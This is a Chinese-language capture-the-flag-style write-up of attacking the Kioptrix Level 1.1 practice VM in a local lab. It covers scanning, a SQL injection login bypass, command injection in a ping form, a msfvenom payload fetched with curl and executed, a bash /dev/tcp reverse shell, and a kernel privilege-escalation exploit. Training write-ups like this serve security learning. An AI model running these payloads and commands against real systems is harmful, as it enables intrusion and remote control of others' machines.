0×02 Vulnhub靶机渗透总结之 KIOPTRIX: LEVEL 1.1 (#2)

系列专栏:Vulnhub靶机渗透系列

欢迎大佬:点赞️收藏关注

首发时间: 2023年8月20日

如有错误 还望告知 万分感谢

基本信息:

KIOPTRIX:LEVEL1.1(#2),vulnhub平台下简单难度靶机。信息搜集需要总结什么情况下把信息归结为干扰信息,从利用选择到信息搜集和枚举以及反弹shel的l获得,要思考从哪里作为入口能更快速解决战场。实战就是这样,大处的利用你要会,小的知识点、技能点也不能含糊。小试牛刀一下三种反弹shell的方式,很精彩的一台以RCE为主的靶机,值得研究和学习。提权阶段是内核提权,锻炼渗透思维的好机器。

此外,网页表格无法正常加载,是由于css属性缺失个单引号 <td align='center>,burp改包加上。

名称 说明
靶机下载链接 https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
作者 Kioptrix
发布日期 11 Feb 2011
难度 easy
攻击机(kali) ip:192.168.80.148
靶机(CentOS) ip:192.168.80.177

信息收集

主机发现、端口扫描、服务枚举、脚本漏扫(nmap)

nmap 192.168.80.0/24 -sn --min-rate 1000
nmap 192.168.80.177 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 192.168.80.177 -sU --top-ports -oA nmap_resule/portudp_scan
nmap 192.168.80.177 -p $port -sT -sV -O -sC -oA nmap_result/server_info
nmap 192.168.80.177 -p $port --script=vuln -oA nmap_result/vuln_info port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',')

开放端口tcp 22,80,111,443,620,631,3306

22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)

80/tcp open http Apache httpd 2.0.52 ((CentOS))

111/tcp open rpcbind 2 (RPC #100000)

443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))

624/tcp open status 1 (RPC #100024)

631/tcp open ipp CUPS 1.1

3306/tcp open mysql MySQL (unauthorized)

PORT 111 rpcbind

没有枚举出其他值得注意的服务

searchsploit rpcbind
nmap -sSUC -p111 192.168.10.1

PORT 631 ipp

ipp协议 打印机相关

searchsploit CUPS 1.1

7550.c 可能可以本地提权

目录扫描(dirsearch、gobuster)

未找到隐藏文件和其他有用的目录

dirsearch -u "http://192.168.80.177" -o dirsearch_info
gobuster dir -u http://192.168.80.177 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info

PORT 80 HTTP - sqli(sqlmap)

<1>登录功能(http://192.168.80.177/),使用万能密码' or 1=1#成功登录(或者使用sqlmap检测注入点),进入的新页面具有ping功能。

sqlmap -u "http://192.168.80.177" --data="uname=admin&psw=admin&btnLogin=Login" --risk 3 -D "webapp" -T users -C password,username --dump

从webapp库users表 获取到以下用户凭证信息:admin/5afac8d85f 和 john/66lajGGbla

PORT 80 HTTP - rce(commix)

<2>网页ping功能

ping功能。请求用burp捕捉保存到文件post,使用commix工具检测命令注入,发现不需要闭合直接拼接。

commix -r /home/wsec/kioptrix2/post -p ip

127.0.0.1|ls
127.0.0.1|cat<pingit.php
127.0.0.1|wohami

存在RCE,请求包中ip参数的POC为 127.0.0.1;id

PORT 22 ssh 登录

searchsploit OpenSSH 3.9

ssh -oHostKeyAlgorithms=+ssh-dss admin@192.168.80.140
ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.80.140

opebssh版本未找到可利用的,用sqlmap获取到的两个凭证也无法SSH登录。想到网页存在RCE,尝试利用RCE反弹shell。

shell as user(msfvonom、msf)

msfvenom生成后门命名为shell4444,开启http服务上传shell给靶机下载,msf进行监听,然后靶场执行shell,成功反弹shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.148 LPOTR=4444 -b "\x00" -e x86/shikata_ga_nai -f elf -o shell4444
python3 -m http.server --bind 0.0.0.0 8080
127.0.1.1|curl http://192.168.80.148:8080/shell4444 -o /tmp/shell
127.0.1.1|chmod u+x /tmp/shell;/tmp/shell
127.0.1.1|chmod u+x /tmp/shell;(/tmp/shell &) #为了使shell后台运行

//最直接的方法时简使直接kali监听直接在网页反弹 127.0.0.1|bash -i >& /dev/tcp/192.168.80.148/2233 0>&1,nc -lvp 2233

拿到apache用户权限。

二次收集

提权信息收集(LinEnum)

自动执行提权过程中可能用到的几十条命令并整理输出,有关键的发现会以黄色标题突出显示。

python3 -m http.server --bind 0.0.0.0 8080

//靶机
wget 192.168.80.148:8080/LinEnum.sh
./LinEnum.sh -r linenum_info -e /tmp/ -t

从枚举的一些信息中,列出了目标靶机版本信息、用户信息、权限信息、环境信息、第三方软件信息,进程信息等

漏洞探针(linux-exploit-suggester)

./linux-exploit-suggester.sh
./linux-exploit-suggester.sh -g

靶机bash版本太低无法执行,直接手动在漏洞库搜对应版本漏洞

shell as root (内核提权)

Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1),对应的是9542.c。(CVE-2009-2698))

攻击机漏洞库提取9542.c,开启http服务靶机wget到/tmp目录。靶机远程下载9542.c,gcc编译后执行

searchsploit Linux Kernel 2.6 Centos
searchsploit -m 9542
python3 -m http.server --bind 0.0.0.0 8080 gcc 9542.c -o test9542
./test9542

成功拿到root权限。

其他

敏感信息-数据库配置文件

apache权限,/vat/www/html/index.php 记录了mysql连接用户名密码,可以从这点切入到数据库。

mysql -uroot -phiroshima -e "select User,Password from mysql.user;"
mysql -ujohn -phiroshima -e "select * from webapp.users;"

mysql.user 发现所有用户密码相同。webapp.users 可以查看到所有web登录凭据。

commix工具生成shell反弹

web渗透检测RCE时就可以直接在commix工具生成反弹shell

提权信息枚举一些其他信息

### SYSTEM ##############################################
Linux version 2.6.9-55.EL [-] Group memberships:
uid=500(john) gid=500(john) groups=500(john)
uid=501(harold) gid=501(harold) groups=501(harold) ### SERVICES #############################################
root 3144 0.0 0.9 5576 1236 ? S Aug18 0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --soc
ket=/var/lib/mysql/mysql.sock --err-log=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid
mysql 3193 0.1 15.2 126400 19244 ? Sl Aug18 0:17 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql
--user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --socket=/var/lib/mysql/mysql.sock ### SOFTWARE #############################################
[-] Sudo version:
Sudo version 1.6.7p5
[-] MYSQL version:
mysql Ver 14.7 Distrib 4.1.22, for redhat-linux-gnu (i686) using readline 4.3
[-] Apache version:
Server version: Apache/2.0.52
Server built: May 4 2007 06:25:03

mysql服务不是以高权限运行而是以mysql用户运行

/var/spool/mail 有root用户的邮件信息,但无权查看

sudo版本无法利用,mysql没有存在可用的漏洞,apache有一个dos漏洞

思路总结

一、主机发现、端口扫描

  • 22(ssh):只能尝试爆破

  • 80(http):优先考虑

  • 111(rpc):放最后

  • 443(https):优先考虑

  • 631(ipp):打印机共享使用地端口。放最后考虑

  • 3306(mysql):优先考虑

二、服务枚举。

  • Apache 2.0.52
  • Mysql 版本未知

三、从端口出发,看有没有可以利用的漏洞,首先是端口80。

  • 登录功能,使用万能密码成功登录,并用sqlmap进行注入获取到了数据库存储的两个用户凭据(但尝试ssh失败)。

  • 网页ping功能,使用commix检测出了页面存在RCE。

  • 使用msfvonom生成的后门,利用RCE漏洞构造请求让目标执行后门程序,MSF成功监听到信息,拿到apache权限,获得系统立足点。

四、提权阶段使用 LinEnum 收集目标提权所涉及到的相关信息,而后使用内核提权成功拿到root权限。

技巧

  1. 反弹shell时设置的端口最好是常用端口,不常用的端口可能会被防火墙给拦截掉。
  2. linux内核提权时,可以在靶机上远程下载攻击机上准备好的的poc,在靶机进行gcc编译,避免由于环境问题。只有目标机器上将目录切换到/tmp才有下载文件的权限。
  3. https://gtfobins.github.io/ 收录了可利用的二进制文件,以及如何获得root权限
  4. 直接udf提权遇到waf的话会被拦截禁止执行系统函数。使用端口转发过掉防护
  5. 可能EXP太多,要尝试缩小搜索范围,做出权衡与比对。例如系统内核信息

writeup Hack The Kioptrix Level-1.1

本文部分图文来源于网络,仅作学术分享,实验环境是本地搭建的靶机,目的在于维护网络安全,不做任何导向。如果非法使用,一切法律后果自行承担。

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权的更多相关文章

  1. C/C++ 进程代码注入与提权/降权

    如果将shellcode注入到具有特定权限的进程中,我们就可以获得与该进程相同的权限,此方法可以用于提权与降权操作,注入有多种方式,最简单的是直接将metasploit生成的有效载荷直接注入到目标进程 ...

  2. WEB 安全之 SQL注入 < 三 > 提权

    SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果能清楚了解 攻击的全 ...

  3. windows中命令行窗口提权到管理员权限.windows 的 sudo

    命令行环境中获取管理员权限 第一种方法 (最爽,但是被运行的命令会被当成新进程运行,运行完成后就自动关闭了.) 把以下代码复制到记事本中保存为sudo.vbs 然后移动到PATH任意目录中,如wind ...

  4. post注入及提权思路

    我们这次的目标有点敏感  性感的马赛克是必须有的 登陆表单 那么我们来看看是不是存在post注入 Setp1:设置代理 Step2:账户admin密码随意 提交上去  抓个包 把抓到的包复制到本地的一 ...

  5. Kioptrix Level 2

    简介 Vulnhub是一个提供各种漏洞环境的靶场平台. 个人学习目的:1,方便学习更多类型漏洞.2,为OSCP做打基础. 下载链接 https://www.vulnhub.com/entry/kiop ...

  6. Commix命令注入漏洞利用

    介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...

  7. DVWA命令注入扣动分析

    本周学习内容: 1.学习web应用安全权威指南: 2.观看安全学习视频: 实验内容: 进行DVWA命令注入漏洞 实验步骤: Low 1.打开DVWA,进入DVWA Security模块将 Level修 ...

  8. 【DVWA】Command Injection(命令注入)通关教程

    日期:2019-08-01 16:05:34 更新: 作者:Bay0net 介绍:利用命令注入,来复习了一下绕过过滤的方法,还可以写一个字典来 fuzz 命令注入的点. 0x01. 漏洞介绍 仅仅需要 ...

  9. DVWA各等级命令注入漏洞

    漏洞描述 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后 ...

  10. DVWA(四):Command Injection 全等级命令注入

    Command Injection : 命令注入(Command Injection),对一些函数的参数没有做好过滤而导致用户可以控制输入的参数,使其恶意执行系统命令或这cmd.bash指令的一种注入 ...

随机推荐

  1. 2021-03-29:无序数组arr,子数组-1和1的数量一样多,请问最长子数组的长度是多少?

    2021-03-29:无序数组arr,子数组-1和1的数量一样多,请问最长子数组的长度是多少? 福大大 答案2021-03-29: [1, -1, 2, 3, -4, -1, 9]变成[1, -1, ...

  2. 2021-12-19:找到所有数组中消失的数字。 给你一个含 n 个整数的数组 nums ,其中 nums[i] 在区间 [1, n] 内。请你找出所有在 [1, n] 范围内但没有出现在 nums

    2021-12-19:找到所有数组中消失的数字. 给你一个含 n 个整数的数组 nums ,其中 nums[i] 在区间 [1, n] 内.请你找出所有在 [1, n] 范围内但没有出现在 nums ...

  3. 都说 C++ 没有 GC,RAII: 那么我算个啥?(赠书福利)

    *以下内容为本人的学习笔记,如需要转载,请声明原文链接微信公众号「ENG八戒」https://mp.weixin.qq.com/s/7A9-tGZxf4w_7eZl3OUQ4A 学过 Java.C# ...

  4. AIGC持续火爆大模型争相推出,庞大市场造就算力供应模式演变

    本图由AI生成 黄仁勋说的AI发展迎来iPhone时刻,对NVIDIA有什么影响? 文/王吉伟 近期的AIGC领域仍旧火爆异常. 但火的不只是AIGC应用,还有巨头之间的AI竞赛,以及接连不断上新的A ...

  5. L1-025 正整数A+B (15 分)

    1.题目描述: 题的目标很简单,就是求两个正整数A和B的和,其中A和B都在区间[1,1000].稍微有点麻烦的是,输入并不保证是两个正整数. 输入格式: 输入在一行给出A和B,其间以空格分开.问题是A ...

  6. Python基础 - 注释

    单行注释 Python中使用#表示单行注释.一般在#后面添加一个空格,再添加注释内容 1 # 这是单行注释 多行注释   Python中使用三个单引号或三个双引号表示多行注释. 1 ''' 2 这是使 ...

  7. Python asyncio之协程学习总结

    实践环境 Python 3.6.2 什么是协程 协程(Coroutine)一种电脑程序组件,该程序组件通过允许暂停和恢复任务,为非抢占式多任务生成子程序.协程也可以简单理解为协作的程序,通过协同多任务 ...

  8. Flutter调优--深入探究MediaQuery引起界面Rebuild的原因及解决办法

    前言 我们可以通过MediaQuery.of(context)方法获取到一些设备和系统的相关信息,比如状态栏的高度.当前是否是黑暗模式等等,使用起来相当方便,但是也要注意可能引起的页面rebuild问 ...

  9. “古老”编程语言的最新选择!华为云发布CodeArts IDE for C/C++

    摘要:华为云CodeArts IDE for C/C++正式上线,欢迎体验. 本文分享自华为云社区<"古老"编程语言的最新选择!华为云发布CodeArts IDE for C ...

  10. 基于飞桨paddlespeech训练中文唤醒词模型

    飞桨Paddlespeech中的语音唤醒是基于hey_snips数据集做的.Hey_snips数据集是英文唤醒词,对于中国人来说,最好是中文唤醒词.经过一番尝试,我发现它也能训练中文唤醒词,于是我决定 ...